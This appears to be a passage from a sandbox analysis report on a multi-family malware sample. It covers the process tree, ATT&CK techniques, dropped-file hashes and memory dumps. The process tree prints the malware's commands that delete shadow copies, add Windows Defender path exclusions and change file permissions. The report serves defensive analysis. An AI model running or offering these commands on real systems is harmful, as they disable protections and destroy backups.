      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:6088
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:4188
- - C:\Program Files (x86)\phFX8G\phFX8G.exe
    "C:\Program Files (x86)\phFX8G\phFX8G.exe"
    3⤵
    - UAC bypass
    - Executes dropped EXE
    - Loads dropped DLL
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    - System policy modification
    PID:5112
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c vssadmin delete shadows /all /quiet
      4⤵
      PID:2496
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c icacls "C:\Program Files (x86)\phFX8G" /inheritance:r
      4⤵
      PID:5392
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Program Files (x86)\phFX8G" /inheritance:r
        5⤵
        Modifies file permissions
        
        PID:5156
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c echo.>c:\xxxx.ini
      4⤵
      PID:5224
- C:\Windows\system32\cmd.exe
  cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\N8qj2I" /t REG_DWORD /d 0 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5272
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\N8qj2I" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:6124
- C:\Windows\system32\cmd.exe
  cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5788
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:4884
- C:\Windows\system32\cmd.exe
  cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3416
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:4076
- C:\Windows\system32\cmd.exe
  cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2460
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:4152
- C:\Program Files (x86)\phFX8G\phFX8G.exe
  "C:\Program Files (x86)\phFX8G\phFX8G.exe"
  2⤵
  PID:2796
- C:\Program Files (x86)\whv7Vs\CCscC7T2x.exe
  "C:\Program Files (x86)\whv7Vs\CCscC7T2x.exe"
  2⤵
  PID:5424

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1244

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1528

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1536

C:\Users\Admin\AppData\Local\Temp\2026-06-09_08ff4916fc9682bf2a35555b21242244_akira_coinminer_dosia_glassworm_poet-rat_quasar-rat_remcos.exe
"C:\Users\Admin\AppData\Local\Temp\2026-06-09_08ff4916fc9682bf2a35555b21242244_akira_coinminer_dosia_glassworm_poet-rat_quasar-rat_remcos.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:588

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:5904

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

XPSPLOG.dll

Path C:\Program Files (x86)\phFX8G\XPSPLOG.dll
Size 4.6MB
SHA256 5ee6a4242f3b75451e63f462bc569f07bef16886a9cdea3bc4087e6f8e7b9a24
MD5 7dd39407b5e9c768303aa7efd9279912
SHA1 71f18264ea0e3a80c85b175f0b57b2d7e5fd1655
SHA512 4226731d88663f608f659463177a62ffe18d14aaf91e170d04bb76227a1a9fba3031a374de2150a358543bd3f923db32e1fc02ec8454eb395cae57ce03dfdda6
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyA:BMWKfU+BcUTHCCCfqCiUffnA
TLSH
T19C263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\phFX8G\image.png
Size 4.9MB
SHA256 76ac044947a26d2a8ca93ab06e0f69685af267a6231015fa67d5f7b1c1ac9eac
MD5 ec3d60298b620d616159a39743225640
SHA1 d55ae8d052558b6fe9811eb553df7e16dfa61229
SHA512 3cb798b1769d77302cf0da03623661edf677f67624e6717a54dd937ece62d9aeb654acf75839179bee5f4f4361d636c36ee25fbaaead2e53cd3798ad67b2cbb9
SSDEEP 98304:891laJeDIpYOvAtQKEvZ7KsEri5NeaJGlbvB7crmEVWgkALqQfub:8haJeU4t9Eh7KsThJG9RcrjkbAYb
TLSH
T1BA36333DE55E821A64C58CD13110C3EC856DA0639B2D9EEE8C6884EC4D3597CF57ADB3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

phFX8G.exe

Path C:\Program Files (x86)\phFX8G\phFX8G.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

thumbs.db

Path C:\Program Files (x86)\phFX8G\thumbs.db
Size 358KB
SHA256 8e89e382a64481291f308b4cf3c57b9af494860aeb91805eafb25c8b74ce036b
MD5 3d00440e4e2486c629a3c4a20af16367
SHA1 5688db84285a570de8d279d2e20e09f3da430ecb
SHA512 bdfc57f1765d8711c1216435c9fb135655c23c9757602434d388a865ca5abf3128e9a15aa6f328a2731b9a269df170188dbb09c1dfe474ad0ebd05abd911a6ed
SSDEEP 6144:liACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:M8u69CghoQxoMTFQqtKFCz7mb/
TLSH
T19D74F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\whv7Vs\XPSPLOG.dll
Size 4.6MB
SHA256 1c537518955847f0e0ddafa3e1c53c9c0a38abf1c39928f1a142ccb2544a4338
MD5 135093cf1c89e9124ad72bc422f1a355
SHA1 a2925ba841538386d3ba11dea8561e80b4cc0a7c
SHA512 52c32772175fe564be83699c79748cf9e9c7a456def6786e43d80352bdd180d784c2a05935c0f033b20b9216ae02f943b304bee4473722a8c45076ce8ef6ced4
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyp:BMWKfU+BcUTHCCCfqCiUffnp
TLSH
T18A263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B
Size 1KB
SHA256 bcc3e802066eba404c68d82e71ed8111a408ee8b29a091b21e5d6440fa7c9e57
MD5 021d9025b227ba00a912610175818c36
SHA1 bdd25f13086eee5ab5f780fde76a181ac4fc777f
SHA512 0deb31f38c91f1620638be51a57ebcd50218a2e8928f73904742eacefb27e5b09cc00789582362fe855ca7ccd14e71d16fc82ab2720296f04e220dc24d10b0b1
TLSH
T1D421E9AA85A9AEC2EB825E577782D13F78F9D7E034A07C2FA21F40851E843D45F5D90C
MD5 SHA1 SHA512 TLSH

Submit Download

B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240
Size 1KB
SHA256 7e84edfe48c79effaa306ddf24551b6334088f6fedad54a4c9b077bbb16796bc
MD5 9ffe6a711817325bbe160f78f9cdee2b
SHA1 f38151e9b81c83037cb4e4c3c1addc7065d88486
SHA512 fc1dca115ddd745e045f22ff5f6b6c68e1e0f61156cf2207c00490ec2af0fd18a74fe10098198ee43501cf0ad319a643f9e4163f1c086a8ee7a986c3fe9293f1
TLSH
T1B621B687DABE4E856B094EC506DCF1B22CF5E6C91CCC104EE31BD23058013A36F5A82D
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B
Size 508B
SHA256 049b8096ce2402ed01b198fca0eb89a99d639d3c64a05410b8fe04888470f940
MD5 f3e02c20e1070841a19fb7d8ee507cd1
SHA1 860e991290c3504c5d0955364e57861300872e19
SHA512 659efd1c58d0f57b6dce6cff2387a603d3b0e534d2d0b261c1efcce800cefd00fad62928319c7b60f59a98cbbd22c6a085092a2cd2ffd1db73989c49820bff14
TLSH
T1CBF05C3804FD521FF036CA3A06DD756ADE77FB11246942AA21E547097941F072C9553D
MD5 SHA1 SHA512 TLSH

Submit Download

B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240
Size 510B
SHA256 e066ea3ea9a41f94b42917297877e8d85dc798a5f9c63250534a53f7f38e259e
MD5 f400b9cda18cbf54bed5267770b01568
SHA1 592bea47c2803ba79e6da4ba627d843b4bb01d48
SHA512 94934e49e7fd8dba9fa50ef1e522ff09fdff3c3559ca002afaa80abdb45d19cd29f0c584988acbe0d822bb6e5165c3c2188e1e0f183995f1625c311235dd4187
TLSH
T14FF05C2465ED5008F63BCB3C55D216F69B5BB51326554AFF445903186A43D132C4153D
MD5 SHA1 SHA512 TLSH

Submit Download

destopbak.ini

Path C:\Users\Public\Music\destopbak.ini
Size 2B
SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
MD5 7e74f75663e5b5a4f3452a4c603ee45d
SHA1 d5114b086b721f2c87ea7152025792958ab4c629
SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
MD5 SHA1 SHA512

Submit Download

UxEnhance64.dll

Path C:\Users\Public\N8qj2I\UxEnhance64.dll
Size 3.1MB
SHA256 46bc941747fc4e7239ddc8ff57aad885ed94c2c8a7c208a538d6d64256c03379
MD5 cf6bf01d474012a8ff4d4be01041b716
SHA1 d01e69b76e14e3a9c0bf05f474cf3698c0fdd137
SHA512 6f30cda86d64e03ede158eb631b7794ee2889e5c3fe7c1052470369f1aacb6bb862c7ebe3049b39837793efcf337aa43fb2d0136036f1b9fff3ad2d6f206ca8b
SSDEEP 98304:u77mVLCUxHoMfQKKa97hJ5jIGxOLgZFh4WI8vdZ:KmVLh6Kl975jywfnI8vdZ
TLSH
T16DE523A1B6D739F6D017C3F09692B26D71293F91AB275E0F77C87A000C57622AB36709
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

V6O3vb.exe

Path C:\Users\Public\N8qj2I\V6O3vb.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\N8qj2I\adoresd.dat
Size 4.7MB
SHA256 54cea509e0becb7a1bd104144184d60b19a4ec8e8fb79473670990cacab12b93
MD5 d455cdaf381b61c7d8cbdf8aab6fceba
SHA1 fb52c8d3cde64ddfd3d999da43eccdc678253cf8
SHA512 ee82e4af954c4db7405d5556c0e131f54d76946ba59a3a3c6380fb2a68a93ea786cc141581f202e7267b33511c16efb985f2cc64a5cd13e6c63faf456a8c2aef
SSDEEP 98304:DFvSi0jgcaku9VWBrKaSuMsNxVV0nEgYpBWKPGH8moKtuzoeuTF5Z5eyzvM7T:PVatVNxzgwhPGHboKtGo3ayjE
TLSH
T1E93633A972C8CDDA4E6A46DC8A528E670B2A57525361602D1FF00F914BEFE9FDD1C830
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\N8qj2I\msadox.tb
Size 8KB
SHA256 0d004c1a607b2f760a3a6b7d6167f303897747266f909dd2779ba84e978640d2
MD5 d819e189d4605d3aab055b921031e030
SHA1 4b366f216d4164d9d5fd027a8de7986db0399be6
SHA512 7fbdef4f2f566a19c80bf3c7270ed7feac9e58906e7cc5450f066c313d37f68add4c6b945570c96abeaa5a8aee0a9b2f25f723ebf00302e2ad31bf54fe3809ef
SSDEEP 192:rqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:rsZqZOXQ3uqvR2Kfzp
TLSH
T19E029E05D7B20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C1670B2DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/588-0-0x00000000001F0000-0x00000000001FD000-memory.dmp

Download

memory/588-1-0x00000000001F0000-0x00000000001FD000-memory.dmp

Download

memory/588-2-0x0000000000510000-0x000000000051B000-memory.dmp

Download

memory/588-504-0x00007FFC59450000-0x00007FFC59460000-memory.dmp

Download

memory/588-524-0x00000000001F0000-0x00000000001FD000-memory.dmp

Download

memory/588-525-0x00007FFC59450000-0x00007FFC59460000-memory.dmp

Download

memory/1636-574-0x000001B67A330000-0x000001B67ABCF000-memory.dmp

Download

memory/1636-531-0x00007FFC4B440000-0x00007FFC4B966000-memory.dmp

Download

memory/1636-557-0x000001B67B0E0000-0x000001B67B186000-memory.dmp

Download

memory/1636-556-0x000001B67B0E0000-0x000001B67B186000-memory.dmp

Download

memory/1636-555-0x000001B67AC10000-0x000001B67AC70000-memory.dmp

Download

memory/1636-562-0x000001B67A330000-0x000001B67ABCF000-memory.dmp

Download

memory/1636-539-0x000001B67A330000-0x000001B67ABCF000-memory.dmp

Download

memory/1636-559-0x000001B67B0E0000-0x000001B67B186000-memory.dmp

Download

memory/1636-536-0x000001B67A330000-0x000001B67ABCF000-memory.dmp

Download

memory/1636-545-0x000001B67A330000-0x000001B67ABCF000-memory.dmp

Download

memory/1636-538-0x00007FFC67E20000-0x00007FFC67E22000-memory.dmp

Download

memory/1636-576-0x000001B67A330000-0x000001B67ABCF000-memory.dmp

Download

memory/1636-530-0x00007FFC67E10000-0x00007FFC67E12000-memory.dmp

Download

memory/1636-550-0x000001B67A330000-0x000001B67ABCF000-memory.dmp

Download

memory/1636-543-0x000001B67A330000-0x000001B67ABCF000-memory.dmp

Download

memory/1636-558-0x000001B67B0E0000-0x000001B67B186000-memory.dmp

Download

memory/1636-546-0x000001B67A330000-0x000001B67ABCF000-memory.dmp

Download

memory/1636-544-0x000001B67A330000-0x000001B67ABCF000-memory.dmp

Download

memory/5112-647-0x0000000074EA0000-0x00000000755EA000-memory.dmp

Download

memory/5112-654-0x00000000039E0000-0x00000000041DF000-memory.dmp

Download

memory/5112-653-0x0000000001200000-0x0000000001201000-memory.dmp

Download

memory/5112-658-0x00000000039E0000-0x00000000041DF000-memory.dmp

Download

memory/5112-665-0x00000000052A0000-0x00000000052B4000-memory.dmp

Download

memory/5112-651-0x00000000039E0000-0x00000000041DF000-memory.dmp

Download

memory/5112-666-0x00000000039E0000-0x00000000041DF000-memory.dmp

Download

memory/5112-675-0x0000000010000000-0x0000000010061000-memory.dmp

Download

memory/5112-684-0x00000000039E0000-0x00000000041DF000-memory.dmp

Download

memory/5112-685-0x00000000039E0000-0x00000000041DF000-memory.dmp

Download

memory/5112-646-0x00000000011E0000-0x00000000011E1000-memory.dmp

Download